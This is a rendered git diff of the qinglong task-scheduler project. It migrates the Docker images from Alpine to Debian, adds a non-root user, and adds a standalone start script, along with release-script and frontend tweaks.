USER qinglong
|
||||||
|
|
||||||
ARG SOURCE_COMMIT
|
ARG SOURCE_COMMIT
|
||||||
RUN git clone --depth=1 -b ${QL_BRANCH} ${QL_URL} ${QL_DIR} \
|
RUN git clone --depth=1 -b ${QL_BRANCH} ${QL_URL} ${QL_DIR} && \
|
||||||
&& cd ${QL_DIR} \
|
cd ${QL_DIR} && \
|
||||||
&& cp -f .env.example .env \
|
cp -f .env.example .env && \
|
||||||
&& chmod 777 ${QL_DIR}/shell/*.sh \
|
chmod 777 ${QL_DIR}/shell/*.sh && \
|
||||||
&& chmod 777 ${QL_DIR}/docker/*.sh \
|
chmod 777 ${QL_DIR}/docker/*.sh && \
|
||||||
&& git clone --depth=1 -b ${QL_BRANCH} https://github.com/${QL_MAINTAINER}/qinglong-static.git /static \
|
git clone --depth=1 -b ${QL_BRANCH} https://github.com/${QL_MAINTAINER}/qinglong-static.git /tmp/static && \
|
||||||
&& mkdir -p ${QL_DIR}/static \
|
mkdir -p ${QL_DIR}/static && \
|
||||||
&& cp -rf /static/* ${QL_DIR}/static \
|
cp -rf /tmp/static/* ${QL_DIR}/static && \
|
||||||
&& rm -rf /static
|
rm -rf /tmp/static
|
||||||
|
|
||||||
ENV PNPM_HOME=${QL_DIR}/data/dep_cache/node \
|
ENV PNPM_HOME=${QL_DIR}/data/dep_cache/node \
|
||||||
PYTHON_HOME=${QL_DIR}/data/dep_cache/python3 \
|
PYTHON_HOME=${QL_DIR}/data/dep_cache/python3 \
|
||||||
@@ -78,7 +95,9 @@ ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PNPM_HOM
|
|||||||
|
|
||||||
RUN pip3 install --prefix ${PYTHON_HOME} requests
|
RUN pip3 install --prefix ${PYTHON_HOME} requests
|
||||||
|
|
||||||
COPY --from=builder /tmp/build/node_modules/. /ql/node_modules/
|
COPY --chown=qinglong:qinglong --from=builder /tmp/build/node_modules/. /ql/node_modules/
|
||||||
|
|
||||||
|
USER root
|
||||||
|
|
||||||
WORKDIR ${QL_DIR}
|
WORKDIR ${QL_DIR}
|
||||||
|
|
||||||
@@ -86,3 +105,7 @@ HEALTHCHECK --interval=5s --timeout=2s --retries=20 \
|
|||||||
CMD curl -sf --noproxy '*' http://127.0.0.1:5700/api/health || exit 1
|
CMD curl -sf --noproxy '*' http://127.0.0.1:5700/api/health || exit 1
|
||||||
|
|
||||||
ENTRYPOINT ["./docker/docker-entrypoint.sh"]
|
ENTRYPOINT ["./docker/docker-entrypoint.sh"]
|
||||||
|
|
||||||
|
VOLUME /ql/data
|
||||||
|
|
||||||
|
EXPOSE 5700
|
||||||
|
|||||||
+64
-41
@@ -1,13 +1,18 @@
|
|||||||
FROM python:3.11-alpine3.18 AS builder
|
FROM node:22-slim AS nodebuilder
|
||||||
COPY package.json .npmrc pnpm-lock.yaml /tmp/build/
|
|
||||||
RUN set -x \
|
|
||||||
&& apk update \
|
|
||||||
&& apk add nodejs npm git \
|
|
||||||
&& npm i -g pnpm@8.3.1 pm2 ts-node \
|
|
||||||
&& cd /tmp/build \
|
|
||||||
&& pnpm install --prod
|
|
||||||
|
|
||||||
FROM python:3.11-alpine
|
FROM python:3.11-slim-bookworm AS builder
|
||||||
|
COPY package.json .npmrc pnpm-lock.yaml /tmp/build/
|
||||||
|
COPY --from=nodebuilder /usr/local/bin/node /usr/local/bin/
|
||||||
|
COPY --from=nodebuilder /usr/local/lib/node_modules/. /usr/local/lib/node_modules/
|
||||||
|
RUN set -x && \
|
||||||
|
ln -s /usr/local/lib/node_modules/npm/bin/npm-cli.js /usr/local/bin/npm && \
|
||||||
|
apt-get update && \
|
||||||
|
apt-get install --no-install-recommends -y libatomic1 && \
|
||||||
|
npm i -g pnpm@8.3.1 && \
|
||||||
|
cd /tmp/build && \
|
||||||
|
pnpm install --prod
|
||||||
|
|
||||||
|
FROM python:3.11-slim-bookworm
|
||||||
|
|
||||||
ARG QL_MAINTAINER="whyour"
|
ARG QL_MAINTAINER="whyour"
|
||||||
LABEL maintainer="${QL_MAINTAINER}"
|
LABEL maintainer="${QL_MAINTAINER}"
|
||||||
@@ -21,51 +26,63 @@ ENV QL_DIR=/ql \
|
|||||||
SHELL=/bin/bash \
|
SHELL=/bin/bash \
|
||||||
PS1="\u@\h:\w \$ "
|
PS1="\u@\h:\w \$ "
|
||||||
|
|
||||||
VOLUME /ql/data
|
ARG QL_UID=5432
|
||||||
|
ARG QL_GID=5432
|
||||||
|
RUN groupadd -g ${QL_GID} qinglong && \
|
||||||
|
useradd -m -u ${QL_UID} -g ${QL_GID} -s /bin/bash qinglong && \
|
||||||
|
mkdir -p /home/qinglong/bin /home/qinglong/.ssh && \
|
||||||
|
chmod 700 /home/qinglong/.ssh && \
|
||||||
|
chown -R ${QL_UID}:${QL_GID} /home/qinglong
|
||||||
|
|
||||||
EXPOSE 5700
|
ENV QL_USER=qinglong
|
||||||
|
ENV QL_HOME=/home/$QL_USER
|
||||||
|
|
||||||
COPY --from=builder /usr/local/lib/node_modules/. /usr/local/lib/node_modules/
|
COPY --from=nodebuilder /usr/local/bin/node /usr/local/bin/
|
||||||
COPY --from=builder /usr/local/bin/. /usr/local/bin/
|
COPY --from=nodebuilder /usr/local/lib/node_modules/. /usr/local/lib/node_modules/
|
||||||
|
|
||||||
RUN set -x \
|
RUN set -x && \
|
||||||
&& apk update -f \
|
ln -s /usr/local/lib/node_modules/npm/bin/npm-cli.js /usr/local/bin/npm && \
|
||||||
&& apk upgrade \
|
ln -s /usr/local/lib/node_modules/npm/bin/npx-cli.js /usr/local/bin/npx && \
|
||||||
&& apk --no-cache add -f bash \
|
apt-get update && \
|
||||||
coreutils \
|
apt-get upgrade -y && \
|
||||||
git \
|
apt-get install --no-install-recommends -y git \
|
||||||
curl \
|
curl \
|
||||||
wget \
|
wget \
|
||||||
tzdata \
|
tzdata \
|
||||||
perl \
|
perl \
|
||||||
openssl \
|
openssl \
|
||||||
nodejs \
|
openssh-client \
|
||||||
jq \
|
jq \
|
||||||
openssh \
|
|
||||||
procps \
|
procps \
|
||||||
netcat-openbsd \
|
netcat-openbsd \
|
||||||
unzip \
|
unzip \
|
||||||
npm \
|
libatomic1 && \
|
||||||
&& rm -rf /var/cache/apk/* \
|
apt-get clean && \
|
||||||
&& apk update \
|
ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime && \
|
||||||
&& ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \
|
echo "Asia/Shanghai" >/etc/timezone && \
|
||||||
&& echo "Asia/Shanghai" > /etc/timezone \
|
git config --global user.email "qinglong@users.noreply.github.com" && \
|
||||||
&& git config --global user.email "qinglong@users.noreply.github.com" \
|
git config --global user.name "qinglong" && \
|
||||||
&& git config --global user.name "qinglong" \
|
git config --global http.postBuffer 524288000 && \
|
||||||
&& git config --global http.postBuffer 524288000 \
|
npm install -g pnpm@8.3.1 pm2 ts-node && \
|
||||||
&& rm -rf /root/.cache \
|
rm -rf /root/.cache && \
|
||||||
&& ulimit -c 0
|
rm -rf /root/.npm && \
|
||||||
|
rm -rf /etc/apt/apt.conf.d/docker-clean && \
|
||||||
|
ulimit -c 0
|
||||||
|
|
||||||
|
RUN mkdir -p ${QL_DIR} && \
|
||||||
|
chown -R ${QL_UID}:${QL_GID} ${QL_DIR}
|
||||||
|
|
||||||
|
USER qinglong
|
||||||
ARG SOURCE_COMMIT
|
ARG SOURCE_COMMIT
|
||||||
RUN git clone --depth=1 -b ${QL_BRANCH} ${QL_URL} ${QL_DIR} \
|
RUN git clone --depth=1 -b ${QL_BRANCH} ${QL_URL} ${QL_DIR} && \
|
||||||
&& cd ${QL_DIR} \
|
cd ${QL_DIR} && \
|
||||||
&& cp -f .env.example .env \
|
cp -f .env.example .env && \
|
||||||
&& chmod 777 ${QL_DIR}/shell/*.sh \
|
chmod 777 ${QL_DIR}/shell/*.sh && \
|
||||||
&& chmod 777 ${QL_DIR}/docker/*.sh \
|
chmod 777 ${QL_DIR}/docker/*.sh && \
|
||||||
&& git clone --depth=1 -b ${QL_BRANCH} https://github.com/${QL_MAINTAINER}/qinglong-static.git /static \
|
git clone --depth=1 -b ${QL_BRANCH} https://github.com/${QL_MAINTAINER}/qinglong-static.git /tmp/static && \
|
||||||
&& mkdir -p ${QL_DIR}/static \
|
mkdir -p ${QL_DIR}/static && \
|
||||||
&& cp -rf /static/* ${QL_DIR}/static \
|
cp -rf /tmp/static/* ${QL_DIR}/static && \
|
||||||
&& rm -rf /static
|
rm -rf /tmp/static
|
||||||
|
|
||||||
ENV PNPM_HOME=${QL_DIR}/data/dep_cache/node \
|
ENV PNPM_HOME=${QL_DIR}/data/dep_cache/node \
|
||||||
PYTHON_HOME=${QL_DIR}/data/dep_cache/python3 \
|
PYTHON_HOME=${QL_DIR}/data/dep_cache/python3 \
|
||||||
@@ -78,7 +95,9 @@ ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PNPM_HOM
|
|||||||
|
|
||||||
RUN pip3 install --prefix ${PYTHON_HOME} requests
|
RUN pip3 install --prefix ${PYTHON_HOME} requests
|
||||||
|
|
||||||
COPY --from=builder /tmp/build/node_modules/. /ql/node_modules/
|
COPY --chown=qinglong:qinglong --from=builder /tmp/build/node_modules/. /ql/node_modules/
|
||||||
|
|
||||||
|
USER root
|
||||||
|
|
||||||
WORKDIR ${QL_DIR}
|
WORKDIR ${QL_DIR}
|
||||||
|
|
||||||
@@ -86,3 +105,7 @@ HEALTHCHECK --interval=5s --timeout=2s --retries=20 \
|
|||||||
CMD curl -sf --noproxy '*' http://127.0.0.1:5700/api/health || exit 1
|
CMD curl -sf --noproxy '*' http://127.0.0.1:5700/api/health || exit 1
|
||||||
|
|
||||||
ENTRYPOINT ["./docker/docker-entrypoint.sh"]
|
ENTRYPOINT ["./docker/docker-entrypoint.sh"]
|
||||||
|
|
||||||
|
VOLUME /ql/data
|
||||||
|
|
||||||
|
EXPOSE 5700
|
||||||
|
|||||||
@@ -52,6 +52,6 @@ fi
|
|||||||
|
|
||||||
log_with_style "SUCCESS" "🎉 容器启动成功!"
|
log_with_style "SUCCESS" "🎉 容器启动成功!"
|
||||||
|
|
||||||
crond -f >/dev/null
|
tail -f /dev/null
|
||||||
|
|
||||||
exec "$@"
|
exec "$@"
|
||||||
|
|||||||
+17
-1
@@ -1,6 +1,17 @@
|
|||||||
{
|
{
|
||||||
"private": true,
|
"name": "@whyour/qinglong",
|
||||||
"packageManager": "pnpm@8.3.1",
|
"packageManager": "pnpm@8.3.1",
|
||||||
|
"version": "2.20.2-0",
|
||||||
|
"description": "Timed task management platform supporting Python3, JavaScript, Shell, Typescript",
|
||||||
|
"repository": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/whyour/qinglong.git"
|
||||||
|
},
|
||||||
|
"author": "whyour",
|
||||||
|
"license": "Apache License 2.0",
|
||||||
|
"bugs": {
|
||||||
|
"url": "https://github.com/whyour/qinglong/issues"
|
||||||
|
},
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"start": "concurrently -n w: npm:start:*",
|
"start": "concurrently -n w: npm:start:*",
|
||||||
"start:back": "nodemon ./back/app.ts",
|
"start:back": "nodemon ./back/app.ts",
|
||||||
@@ -25,6 +36,11 @@
|
|||||||
"prettier --parser=typescript --write"
|
"prettier --parser=typescript --write"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
|
"bin": {
|
||||||
|
"ql": "shell/update.sh",
|
||||||
|
"task": "shell/task.sh",
|
||||||
|
"qinglong": "shell/start.sh"
|
||||||
|
},
|
||||||
"pnpm": {
|
"pnpm": {
|
||||||
"peerDependencyRules": {
|
"peerDependencyRules": {
|
||||||
"ignoreMissing": [
|
"ignoreMissing": [
|
||||||
|
|||||||
@@ -9,7 +9,15 @@ else
|
|||||||
fi
|
fi
|
||||||
|
|
||||||
echo -e "\n1、安装bot依赖...\n"
|
echo -e "\n1、安装bot依赖...\n"
|
||||||
|
os_name=$(source /etc/os-release && echo "$ID")
|
||||||
|
if [[ $os_name == 'alpine' ]]; then
|
||||||
apk --no-cache add -f zlib-dev gcc jpeg-dev python3-dev musl-dev freetype-dev
|
apk --no-cache add -f zlib-dev gcc jpeg-dev python3-dev musl-dev freetype-dev
|
||||||
|
elif [[ $os_name == 'debian' ]] || [[ $os_name == 'ubuntu' ]]; then
|
||||||
|
apt-get install -y gcc python3-dev musl-dev
|
||||||
|
else
|
||||||
|
echo -e "暂不支持此系统 $os_name"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
echo -e "\nbot依赖安装成功...\n"
|
echo -e "\nbot依赖安装成功...\n"
|
||||||
|
|
||||||
echo -e "2、下载bot所需文件...\n"
|
echo -e "2、下载bot所需文件...\n"
|
||||||
|
|||||||
+8
-8
@@ -1,26 +1,26 @@
|
|||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
echo -e "开始发布"
|
echo -e "开始发布"
|
||||||
|
|
||||||
echo -e "切换master分支"
|
echo -e "切换 debian 分支"
|
||||||
git branch -D master
|
git branch -D debian
|
||||||
git checkout -b master
|
git checkout -b debian
|
||||||
git push --set-upstream origin master -f
|
git push --set-upstream origin debian -f
|
||||||
|
|
||||||
echo -e "更新cdn文件"
|
echo -e "更新cdn文件"
|
||||||
ts-node-transpile-only sample/tool.ts
|
ts-node-transpile-only sample/tool.ts
|
||||||
|
|
||||||
string=$(cat version.yaml | grep "version" | egrep "[^ ]*" -o | egrep "\d\.*")
|
string=$(cat version.yaml | grep "version" | egrep "[^ ]*" -o | egrep "\d\.*")
|
||||||
version="v$string"
|
version="v$string"
|
||||||
echo -e "当前版本$version"
|
echo -e "当前版本$version-debian"
|
||||||
|
|
||||||
echo -e "删除已经存在的本地tag"
|
echo -e "删除已经存在的本地tag"
|
||||||
git tag -d "$version" &>/dev/null
|
git tag -d "$version-debian" &>/dev/null
|
||||||
|
|
||||||
echo -e "删除已经存在的远程tag"
|
echo -e "删除已经存在的远程tag"
|
||||||
git push origin :refs/tags/$version &>/dev/null
|
git push origin :refs/tags/$version-debian &>/dev/null
|
||||||
|
|
||||||
echo -e "创建新tag"
|
echo -e "创建新tag"
|
||||||
git tag -a "$version" -m "release $version"
|
git tag -a "$version-debian" -m "release $version-debian"
|
||||||
|
|
||||||
echo -e "提交tag"
|
echo -e "提交tag"
|
||||||
git push --tags
|
git push --tags
|
||||||
|
|||||||
+125
@@ -0,0 +1,125 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
|
||||||
|
# 前置依赖 nodejs、npm、python3
|
||||||
|
set -e
|
||||||
|
set -x
|
||||||
|
|
||||||
|
if [[ ! $QL_DIR ]]; then
|
||||||
|
npm_dir=$(npm root -g)
|
||||||
|
pnpm_dir=$(pnpm root -g)
|
||||||
|
if [[ -d "$npm_dir/@whyour/qinglong" ]]; then
|
||||||
|
QL_DIR="$npm_dir/@whyour/qinglong"
|
||||||
|
elif [[ -d "$pnpm_dir/@whyour/qinglong" ]]; then
|
||||||
|
QL_DIR="$pnpm_dir/@whyour/qinglong"
|
||||||
|
else
|
||||||
|
echo -e "未找到 qinglong 模块,请先执行 npm i -g @whyour/qinglong 安装"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ $QL_DIR ]]; then
|
||||||
|
echo -e "请先手动设置 export QL_DIR=$QL_DIR,环境变量,并手动添加到系统环境变量,然后再次执行命令 qinglong 启动服务"
|
||||||
|
fi
|
||||||
|
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ ! $QL_DATA_DIR ]]; then
|
||||||
|
echo -e "请先手动设置数据存储目录 export QL_DATA_DIR 环境变量,目录必须以斜杠开头的绝对路径,并且以 /data 结尾,例如 /ql/data 并手动添加到系统环境变量"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ $QL_DATA_DIR != */data ]]; then
|
||||||
|
echo -e "QL_DATA_DIR 必须以 /data 结尾,例如 /ql/data,如果有历史数据,请新建 data 目录,把历史数据放到 data 目录中"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
command="$1"
|
||||||
|
|
||||||
|
if [[ $command != "reload" ]]; then
|
||||||
|
# 安装依赖
|
||||||
|
os_name=$(source /etc/os-release && echo "$ID")
|
||||||
|
|
||||||
|
if [[ $os_name == 'alpine' ]]; then
|
||||||
|
apk update
|
||||||
|
apk add -f bash \
|
||||||
|
coreutils \
|
||||||
|
git \
|
||||||
|
curl \
|
||||||
|
wget \
|
||||||
|
tzdata \
|
||||||
|
perl \
|
||||||
|
openssl \
|
||||||
|
jq \
|
||||||
|
nginx \
|
||||||
|
openssh \
|
||||||
|
procps \
|
||||||
|
netcat-openbsd
|
||||||
|
elif [[ $os_name == 'debian' ]] || [[ $os_name == 'ubuntu' ]]; then
|
||||||
|
apt-get update
|
||||||
|
apt-get install -y git curl wget tzdata perl openssl jq nginx procps netcat-openbsd openssh-client
|
||||||
|
else
|
||||||
|
echo -e "暂不支持此系统部署 $os_name"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
npm install -g pnpm@8.3.1 pm2 ts-node
|
||||||
|
fi
|
||||||
|
|
||||||
|
export PYTHON_SHORT_VERSION=$(python3 -c 'import sys; print(f"{sys.version_info.major}.{sys.version_info.minor}")')
|
||||||
|
export PNPM_HOME=${QL_DIR}/data/dep_cache/node
|
||||||
|
export PYTHON_HOME=${QL_DIR}/data/dep_cache/python3
|
||||||
|
export PYTHONUSERBASE=${QL_DIR}/data/dep_cache/python3
|
||||||
|
|
||||||
|
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PNPM_HOME}:${PYTHON_HOME}/bin
|
||||||
|
export NODE_PATH=/usr/local/bin:/usr/local/lib/node_modules:${PNPM_HOME}/global/5/node_modules
|
||||||
|
export PIP_CACHE_DIR=${PYTHON_HOME}/pip
|
||||||
|
export PYTHONPATH=${PYTHON_HOME}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}/site-packages
|
||||||
|
|
||||||
|
if [[ $command != "reload" ]]; then
|
||||||
|
pip3 install --prefix ${PYTHON_HOME} requests
|
||||||
|
fi
|
||||||
|
|
||||||
|
cd ${QL_DIR}
|
||||||
|
cp -f .env.example .env
|
||||||
|
chmod 777 ${QL_DIR}/shell/*.sh
|
||||||
|
|
||||||
|
. ${QL_DIR}/shell/share.sh
|
||||||
|
. ${QL_DIR}/shell/env.sh
|
||||||
|
|
||||||
|
log_with_style() {
|
||||||
|
local level="$1"
|
||||||
|
local message="$2"
|
||||||
|
local timestamp=$(date '+%Y-%m-%d %H:%M:%S')
|
||||||
|
|
||||||
|
printf "\n[%s] [%7s] %s\n" "${timestamp}" "${level}" "${message}"
|
||||||
|
}
|
||||||
|
|
||||||
|
log_with_style "INFO" "🚀 1. 检测配置文件..."
|
||||||
|
import_config "$@"
|
||||||
|
make_dir /etc/nginx/conf.d
|
||||||
|
make_dir /run/nginx
|
||||||
|
fix_config
|
||||||
|
|
||||||
|
pm2 l &>/dev/null
|
||||||
|
|
||||||
|
log_with_style "INFO" "🔄 2. 启动 nginx..."
|
||||||
|
nginx -s reload 2>/dev/null || nginx -c /etc/nginx/nginx.conf
|
||||||
|
|
||||||
|
log_with_style "INFO" "⚙️ 3. 启动 pm2 服务..."
|
||||||
|
reload_pm2
|
||||||
|
|
||||||
|
if [[ $command != "reload" ]]; then
|
||||||
|
if [[ $AutoStartBot == true ]]; then
|
||||||
|
log_with_style "INFO" "🤖 4. 启动 bot..."
|
||||||
|
nohup ql bot >$dir_log/bot.log 2>&1 &
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ $EnableExtraShell == true ]]; then
|
||||||
|
log_with_style "INFO" "🛠️ 5. 执行自定义脚本..."
|
||||||
|
nohup ql extra >$dir_log/extra.log 2>&1 &
|
||||||
|
fi
|
||||||
|
|
||||||
|
pm2 startup
|
||||||
|
pm2 save
|
||||||
|
fi
|
||||||
|
|
||||||
|
log_with_style "SUCCESS" "🎉 启动成功!"
|
||||||
@@ -64,7 +64,7 @@ const Diff = () => {
|
|||||||
const getFiles = () => {
|
const getFiles = () => {
|
||||||
setLoading(true);
|
setLoading(true);
|
||||||
request
|
request
|
||||||
.get(`${config.apiPrefix}configs/sample`)
|
.get(`${config.apiPrefix}configs/samples`)
|
||||||
.then(({ code, data }) => {
|
.then(({ code, data }) => {
|
||||||
if (code === 200) {
|
if (code === 200) {
|
||||||
setFiles(data);
|
setFiles(data);
|
||||||
|
|||||||
@@ -215,12 +215,12 @@ const Dependence = () => {
|
|||||||
<Form.Item
|
<Form.Item
|
||||||
label={intl.get('Linux 软件包镜像源')}
|
label={intl.get('Linux 软件包镜像源')}
|
||||||
name="linux"
|
name="linux"
|
||||||
tooltip={intl.get('alpine linux 镜像源')}
|
tooltip={intl.get('debian linux 镜像源')}
|
||||||
>
|
>
|
||||||
<Input.Group compact>
|
<Input.Group compact>
|
||||||
<Input
|
<Input
|
||||||
style={{ width: 250 }}
|
style={{ width: 250 }}
|
||||||
placeholder={'https://mirrors.aliyun.com'}
|
placeholder={'http://mirrors.aliyun.com'}
|
||||||
value={systemConfig?.linuxMirror}
|
value={systemConfig?.linuxMirror}
|
||||||
onChange={(e) => {
|
onChange={(e) => {
|
||||||
setSystemConfig({
|
setSystemConfig({
|
||||||
|
|||||||
Reference in New Issue
Block a user